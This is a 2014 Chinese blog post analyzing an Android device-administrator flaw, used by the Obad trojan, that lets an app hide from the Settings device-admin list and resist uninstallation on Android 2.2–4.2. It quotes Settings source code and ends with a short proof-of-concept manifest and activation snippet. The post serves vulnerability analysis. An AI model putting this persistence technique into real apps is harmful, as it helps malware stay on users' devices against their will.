文档章节

Android设备管理器漏洞分析!

科技创造
 科技创造
发布于 2014/10/13 11:53
字数 668
阅读 178
收藏 8

一、漏洞描述

         目前被称为“史上最强Android木马”的病毒Backdoor.AndroidOS.Obad.a利用Android设备管理器漏洞使用户无法通过正常方式卸载。其实该漏洞早在去年底已被发现。(http://safe.ijiami.cn/)

       注册为“设备管理器”的应用是无法被直接卸载的。只有取消激活“设备管理器”后才可以直接卸载。

       木马可以利用Android设备管理器漏洞达到在设备管理器列表“隐身”的效果。这样用户就无法进去“取消激活”页面,从而达到无法卸载的目的。


二、影响版本

       Android2.2以上(4.0,4.1,4.2)

三、漏洞原理

       首先我们来看一下Settings app如何形成设备管理器列表的:


       相关类:

       packages\apps\settings\src\com\android\settings\DeviceAdminSettings.java


   public class DeviceAdminSettings extends ListFragment {
 
    DevicePolicyManager mDPM;
    final HashSet<ComponentName> mActiveAdmins = new HashSet<ComponentName>();
    final ArrayList<DeviceAdminInfo> mAvailableAdmins = new ArrayList<DeviceAdminInfo>();

    @Override
    public void onResume() {
        super.onResume();
        updateList();
    }

    void updateList() {
        mActiveAdmins.clear();
        List<ComponentName> cur = mDPM.getActiveAdmins();
        if (cur != null) {
            for (int i=0; i<cur.size(); i++) {
                mActiveAdmins.add(cur.get(i));
            }
        }

        mAvailableAdmins.clear();
        List<ResolveInfo> avail = getActivity().getPackageManager().queryBroadcastReceivers(
                new Intent(DeviceAdminReceiver.ACTION_DEVICE_ADMIN_ENABLED),
                PackageManager.GET_META_DATA);//通过查询广播”android.app.action.DEVICE_ADMIN_ENABLED“来得到可用的设                                                                                             //备管理器程序列表
        int count = avail == null ? 0 : avail.size();
        for (int i=0; i<count; i++) {
            ResolveInfo ri = avail.get(i);
            try {
                DeviceAdminInfo dpi = new DeviceAdminInfo(getActivity(), ri);
                if (dpi.isVisible() || mActiveAdmins.contains(dpi.getComponent())) {
                    mAvailableAdmins.add(dpi);
                }
                //如果应用已激活设备管理器&&注册了”android.app.action.DEVICE_ADMIN_ENABLED“就出现在可用设备管理器列表
            } catch (XmlPullParserException e) {
                Log.w(TAG, "Skipping " + ri.activityInfo, e);
            } catch (IOException e) {
                Log.w(TAG, "Skipping " + ri.activityInfo, e);
            }
        }
        
        getListView().setAdapter(new PolicyListAdapter());
    }

   .......
    
    class PolicyListAdapter extends BaseAdapter {
      .......

        public void bindView(View view, int position) {
            final Activity activity = getActivity();
            ViewHolder vh = (ViewHolder) view.getTag();
            DeviceAdminInfo item = mAvailableAdmins.get(position);//显示mAvailableAdmins中数据
            vh.icon.setImageDrawable(item.loadIcon(activity.getPackageManager()));
            vh.name.setText(item.loadLabel(activity.getPackageManager()));
            vh.checkbox.setChecked(mActiveAdmins.contains(item.getComponent()));
            try {
                vh.description.setText(item.loadDescription(activity.getPackageManager()));
            } catch (Resources.NotFoundException e) {
            }
        }
    }

}
   

由Android Settings App源代码可以看出,如果想在设备管理器列表中”隐身“,只要不注册”android.app.action.DEVICE_ADMIN_ENABLED“广播就行。

四、POC代码
 

AndroidMainfest.xml文件注册组件:

   
<receiver Android:name=".deviceAdminReceiver" android:label="@string/app_name" 
   Android:description="@string/description" android:permission="android.permission.BIND_DEVICE_ADMIN"> 
  
   <meta-data Android:name="android.app.device_admin" 
               Android:resource="@xml/device_admin" /> 
  
</receiver>

java代码注册激活设备管理器:

   
Intent intent = new Intent( 
       DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
ComponentName  mDeviceComponentName = new ComponentName("packagename","packagename.deviceAdminReceiver"); 
intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, 
       mDeviceComponentName);
this.startActivity(intent,0); 


© 著作权归作者所有

科技创造
粉丝 37
博文 199
码字总数 174505
作品 0
徐汇
程序员
私信 提问
关于android设备管理器的一些分析

作 者: limitemp 时 间: 2014-01-12,20:43:04 链 接: http://bbs.pediy.com/showthread.php?t=183692 想必很多人都知道轰动一时android木马OBAD,该木马利用android设备管理器的漏洞,当用户...

中成才
2015/08/20
202
0
obad病毒整理汇总(最复杂精致的android病毒)

起源 该样本起源于一篇卡巴斯基实验室的报告1,被誉为最复杂精致的android病毒。 特点 1、AndroidManifest使用非常规方法构造。 左为obad的AndroidManifest,右为普通的AndroidMainifest。 ...

VinceXie
2013/12/05
675
0
又添隐患:Android系统又爆新漏洞

  【IT168资讯】Android的设备管理器用来控制锁定屏幕的方式和时间,清除手机数据等;用户在使用激活设备管理器的软件时,必须通过取消激活设备管理器才能正常卸载该软件。   近期,来自安...

作者:佚名
2012/11/23
0
0
apk漏洞记录1:伪加密+设备管理器不可删+webview漏洞

伪加密1:apk打开需要密码 成因:修改zip的头,把文件的加密标志设置为ture,还原就把加密标志设置为false.利用了Android处理zip文件不判断头里的加密信息,其他压缩软件,java默认实现的zip api...

科技创造
2014/09/04
226
0
三个Android蓝牙组件漏洞详情

  写在前面的话   2018年3月,Quarkslab向Google报告了Android蓝牙协议栈中的一些漏洞:      问题编号74882215:蓝牙L2CAP L2CAPCMDCONN_REQ远程内存泄露   问题编号74889513:蓝...

FreeBuf
2018/08/28
0
0

没有更多内容

加载失败,请刷新页面

加载更多

3_数组

3_数组

行者终成事
50分钟前
7
0
经典系统设计面试题解析:如何设计TinyURL(二)

原文链接:https://www.educative.io/courses/grokking-the-system-design-interview/m2ygV4E81AR 编者注:本文以一道经典的系统设计面试题:《如何设计TinyURL》的参考答案和解析为例,帮助...

APEMESH
今天
7
0
使用logstash同步MySQL数据到ES

概述   在生成业务常有将MySQL数据同步到ES的需求,如果需要很高的定制化,往往需要开发同步程序用于处理数据。但没有特殊业务需求,官方提供的logstash就很有优势了。   在使用logstas...

zxiaofan666
今天
10
0
X-MSG-IM-分布式信令跟踪能力

经过一周多的鏖战, X-MSG-IM的分布式信令跟踪能力已基本具备, 特点是: 实时. 只有要RX/TX就会实时产生信令跟踪事件, 先入kafka, 再入influxdb待查. 同时提供实时sub/pub接口. 完备. 可以完整...

dev5
今天
7
0
OpenJDK之CyclicBarrier

OpenJDK8,本人看的是openJDK。以前就看过,只是经常忘记,所以记录下 图1 CyclicBarrier是Doug Lea在JDK1.5中引入的,作用就不详细描述了,主要有如下俩个方法使用: await()方法,如果当前线...

克虏伯
今天
8
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部